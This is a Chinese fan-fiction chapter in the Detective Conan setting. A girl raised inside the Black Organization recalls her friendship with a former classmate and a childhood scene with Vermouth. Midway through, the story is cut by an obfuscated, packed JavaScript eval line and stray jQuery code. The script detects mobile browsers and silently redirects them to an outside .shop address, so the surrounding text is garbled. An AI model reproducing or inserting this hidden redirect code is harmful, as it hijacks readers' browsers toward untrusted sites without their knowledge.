下午一点二十七分,早织扣好外套,走到玄关,才想起被她关机塞进衣柜的手机。
屏幕亮起,收件箱里躺着一封上午发来的短信。
“小早织,不好意思喽,组织那边临时有事,只能临时爽约,下次再见”
是高井发来的。
这一封短信结尾得仓促,像是写到一半就被人叫走了。不仅短信的末尾没有署名,甚至连最后一个符号都没来得及打,但口吻也确实是高井说话的习惯。
这种情况并不多见,高井是个很守约的朋友,除非真的有无法脱身的事。
所以,归根到底还是怪这个破组织,这连成员的休息时间都不放过,极尽压榨之能。
“没事,等你有空再说。”早织回复完高井,慢吞吞收了手机。
...
高井是早织为数不多的朋友之一。
跟高井重逢是在两年前,在组织例行的体检中,高井是负责抽血和记录数据的医生。
隔着口罩和护目镜,早织对她毫无印象,直到体检结束,手机里多出一条好友申请,好友申请里提到了帝丹小学。
通过申请后,高井约她在咖啡馆闲谈。
犹豫再三,早织还是去了。
那天下午阳光很好,临窗的位置被晒得发暖,让人昏昏欲睡。
等早织刚刚坐定,高井就迫不及待地开口。
“是我呀!我是高井!!之前在实验室里边不太方便,要不然我当时就想跟你打招呼!”她一边说,一边凑近。
“你好?”早织迟疑地开口,在脑海里检索后却没有匹配的面孔,她并不认识眼前的人,自然也无法应对对方久别重逢的情绪。
“喂喂喂,小早织,你该不会忘记我了吧?!”高井凑近早织,指了指自己的脸,“帝丹小学,坐在你后排的那个女生。”
“那时候我留着短发,国语课上还经常问你借笔。”
原来高井啊...
死掉的记忆慢慢苏醒,早织重新端详高井。
杏眼,圆脸,眼角有颗美人痣。
小时候的记忆似乎隐隐约约和眼前人重合。
“……高井?”
“终于想起来了?”高井长出一口气,向后靠回椅背,“我还以为你真把我忘得一干二净。”
“差一点。”
“喂。”高井挥舞拳头,佯装生气。
早织重新端详她。小时候的高井确实有这样一双圆眼睛,只是脸颊比现在更圆,笑起来时眼角的痣会被挤得几乎看不见。
所以一开始为什么会忘记呢...大概是因为有些记忆被她刻意抛在脑后。
在短暂的小学生涯里,因为与众不同的外貌和开学第一天就打架的“英雄事迹”,大多数小孩子对她又敬又怕,要不是早织无意于此,恐怕一年级就已经可以开始称霸帝丹小学。
早织在学校并没有多少朋友,高井也确实只是前后桌的关系。
...
早织也并非一直待在组织内。
小学时曾被送到帝丹小学念过几年的书,过了几年像正常人一样的生活。后来组织内的人事调动,贝尔摩德离开日本部,因为没有人管她,所以短暂的求学生涯很快终止,她又被送回了组织内开设的“学校”。
说是学校,教授的内容显然和一般的学校不同。
组织的课程只教了杀人,却没教杀了人之后的检查和补刀,这也就是早织在后续清理的过程中居然陆陆续续看到不少“起死回生”的尸体。
至于早织最后怎么处理的?
“打一份工,干一分活。”她的任务是处理尸体,至于杀人,那是另外的价格。
这种情况下她大多睁一只眼闭一只眼,虽然不会亲自动手处理掉他们,但也不会闲的没事蹚浑水,专门帮他们拨打急救电话。至于他们是生是死,全看天意。
...
“话说,你是怎么进组织的?”早织托腮,望向面前的高井。
“啊...”高井的笑意淡了,“我嘛...”
她先看了一眼邻桌,又借着玻璃的反光确认身后没人,才压低声音:“本来毕业后是在一个医药公司打工的,谁知道前几年经济不好,那家公司没撑下去倒闭了,老板因为欠了不少债的缘故跳楼了,公司很快被组织接手。”
“当时大家都觉得运气不错,新东家的福利甚至比以前更好,后来才慢慢发现公司里经常出现一些看起来凶神恶煞的黑衣人,很多正在推进的实验居然根本没有经过审批...送来的样本不写来源,报告不进公司的归档系统。”
“之前倒是有个同事想辞职来着,结果没几天就音信全无。我索性就这么稀里糊涂地干下去了。”
“后来有个项目做的不错,被调进了组织里的实验部门打下手,那个时候我才知道这到底是一个多么恐怖的组织...”高井说着,忍不住打了个寒颤。
“你好倒霉啊...”早织真心实意地感慨。
破产被组织接手的公司,还因为表现优异提拔到实验部门,这一连串加起来的概率比打雷被劈的概率还小。
“小早织,那你呢?”她望向早织。
“...我很小就进入组织了,后来就一直在组织里长大了。”早织用小勺搅开咖啡表面的拉花。
“你那次突然转学难道就是因为这个组织...”高井立刻想到了早织的不告而别。
早织是某一天突然离开的,班主任后来解释了是因为家庭原因转学。
“是啊...”早织轻叹一口气。
其实还要更早。
在她记事起就已经在组织里了,小时候没有感觉,以为一切都是正常的——打架,被打,消失。
总会有小孩被送进来,也会有小孩莫名其妙的消失。没人询问,仿佛少掉的只是一把椅子、一套餐具,或者床铺上一个需要重新填写的编号。
有许许多多必须要遵守的规则和永远不够分的东西。吃的按份发,衣服按尺码领,药品按伤势分。训练中表现好的人可以先选,慢一步,剩下的东西就未必够用。
早织曾经以为,所有小孩都是这样长大的。
直到她进入帝丹小学。
...
“早织,能告诉我你为什么要打翔太吗?”老师有些头疼地看着面前的小女孩,明明看起来这么文静,下手却出乎意料的狠,翔太的门牙磕在桌子脱落,现在还在抽噎着哭个不停。
隔壁办公室里,翔太的父母还在咄咄逼人地责问。
“...因为老师发的剪纸很好看。”
开学第一天,老师发彩纸,让每个人剪一幅喜欢的图案。纸张被放在讲台上,红的、黄的、蓝的,薄薄一叠。
早织第一次见到那么漂亮的纸。
她刚伸出手,翔太便从旁边挤过来,先她一步去拿最上面那张。所有动作几乎都是下意识,等她意识到发生了什么,翔太已经撞上课桌。
老师无法把她的回答和问题联系起来,可再多的早织又不愿说,因此在上学的第一天,贝尔摩德就被一个电话请到了学校。
被叫家长是贝尔摩德活了这么多年,从未有过的体验。应付完老师,还要给男孩的父母赔钱(道歉是不可能道歉的,但钞能力是无敌的)。
贝尔摩德有些头疼的看着早织,女孩的眼眶红红的,仿佛下一秒就要哭出来,可却仍旧死死地咬着唇,一言不发地回瞪着贝尔摩德。
明明该生气的是她,但看到早织的模样,一瞬间偃旗息鼓。
第一次觉得养小孩是一个这么麻烦的事情。
“...喂,小鬼!开学第一天就害我被叫来吗?”贝尔摩德一把把早织拎到摩托车后座上放下,屈起手指,敲了敲她的脑袋。
“我以为...他拿了剪纸我就会没有。”组织里的东西都是定量供应,向养蛊一样,有时候会刻意鼓励他们去争抢。
“对不起...”明明已经忍了那么久,可被贝尔摩德敲脑袋那轻轻的一下,却让早织再也忍不住,她抱住贝尔摩德开始嚎啕大哭。
打人原来是不对的啊。
小孩子哪怕是不用争抢也能得到想要的东西...
“对不起...”含糊不清地道歉,眼泪鼻涕被抹在贝尔摩德的颈侧。
“...你!”贝尔摩德狠狠皱眉,抬手像是想把这只脏兮兮的小鬼撕下来,可下一秒女孩抽泣的呼吸却烫得她的动作一僵。
手停在半空半晌,最后只落下一声叹息。
“真没用。”她从车前的储物格抽出纸巾,先用纸巾擦干净自己脖子上黏黏糊糊的眼泪,再用剩下的替早织擦脸,语气里带着几分怒其不争,“刚才在办公室怎么不哭?要是你哭了,老师也不会非留下我训了半天。”
“就会回家哭,真丢人。”她显然没照顾过孩子,下手没有轻重。早织的鼻尖很快被擦红了。
可这样的行为却明显安慰住了早织。
女孩琥珀色的瞳孔清亮,认真的望向贝尔摩德。
“你是我的妈妈吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814641|210998||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她仰起脸,看着贝尔摩德被阳光照得近乎银白的长发。
“...什么?”
“他们说,每个人都应该有爸爸妈妈。”早织吸了吸鼻子,“可我什么都没有。”
“你是我的妈妈吗?”早织又重复了一遍,可眼泪的已经开始在眼眶中酝酿,大有答案是否定眼泪就会决堤的趋势。
在组织里,对她最好的就是贝尔摩德了。虽然她总是不耐烦,几个月才出现一次;虽然她喜欢敲早织的脑袋,说话也一点不留情面。但每次出任务回来后,都会给她带各种奇奇怪怪的小礼物,早织被其他孩子围住时,她也会冷着脸把人赶走。
贝尔摩德:……
更深地叹了口气。
“听好了,早织,她们说的没错,每个人都有妈妈,你也有妈妈。但我不是你的妈妈。”
“你看我的头发是什么颜色?”她试图给早织讲道理。
“...白色。”
“那你的头发是什么颜色?”
“...也是白色。”
臭小孩睁着眼睛说瞎话。
早织有着一头漂亮的黑色头发,琥珀色的瞳孔清透干净。她的鼻梁高挺,眼窝很深,五官立体,其实并不符合传统日本人长相。
贝尔摩德忍不住再敲敲她的脑袋:“听好了,小鬼,我不是你的妈妈,你也不应该把我当成你的妈妈。”
“为什么?”不知她问的是前半句还是后半句。
“因为妈妈是不能被随意替代的身份。”最后一句话她说得极轻极快,尾音很快就消散在风里。
“等你长大就能找到妈妈了。”半是安慰,半是敷衍地回她一句后,像是耐心耗尽般,也不管早织到底有没有听懂,贝尔摩德一把把摩托车的头盔扣在她的头上,抱她上车,侧身踩,马达发动。
“喂——抱紧我,我送你回去。摔下去我可不管你。”
早织立刻环住她的腰。
“以后在学校不要再打架了,或者说,下手有点轻重。实在不知道该怎么办,就先看看别的小孩是怎么做的。”风声把贝尔摩德的声音稀释的很模糊。
“噢...”早织抱紧了贝尔摩德,乖乖地应是。
...
“早织?”高井伸手在早织的面前晃一晃。
“...”咖啡已经凉了。早织轻叹口气,完整的拉花被搅碎成一团意义不明的白色花纹。
“总之,就这么稀里糊涂的长大了。”
...
自那次见面之后,两人慢慢熟悉起来。
就像这个年纪最寻常的朋友一样,他们偶尔约饭,聊一些和组织无关的事。高井追过一个始终没能出道的地下男团,硬拉着早织去看演出。演出的场地是在酒吧街的二楼,来的人稀稀拉拉,甚至连座位都没坐满,她们坐在最前排,在演出结束后超级用力地鼓掌和欢呼。
之后,陆陆续续有粉丝涌上前合影和签名,但高井却拽着她逆行往外。
“为什么不去合照啊?”
高井回头看了一眼舞台,似是而非地回答:“有时候,模糊才能让喜欢更长久。”
“可是你前前后后为他们花了...”
早织的话还没说完,就被高井捂住了嘴。
“别说了,说的我心疼。”高井夸张地捂住心口,“钱财,身外之物。”
早织:……
早织不是个无私的人,无法理解这种投入。她讨厌默默奉献,如果她投入了精力,就一定要得到同等的回报。但显然,不是所有付出都会有回抱,所以早织从不追星。
她喜欢运动。
挥洒的每一份汗水都会得到回报,身上清晰的肌肉是对付出最好的汇报。
...
她们默契地避开组织和任务,把友谊努力地维持在普通的关系。可偶尔见面时,高井会偷偷塞给她一些组织新出的药,瓶身上的标签通常被撕掉,只剩服用方法和潦草的日期。大多数都是伤药,偶尔有退烧药,甚至有一次塞给了她几粒速效救心丸。
“听说你们行动组经常熬夜,老熬夜心脏容易出问题,这个药是美国那边送来的,绝对靠谱。”高井冲她眨眨眼。
“...谢谢。”
...
思绪回笼,早织低头看向手机。
高井的短信仍停在屏幕上。
她点开输入框,想问到底出了什么事。手指悬了片刻,又退出界面。
组织里的事,不该问的不要问。她们一直遵守这个规矩。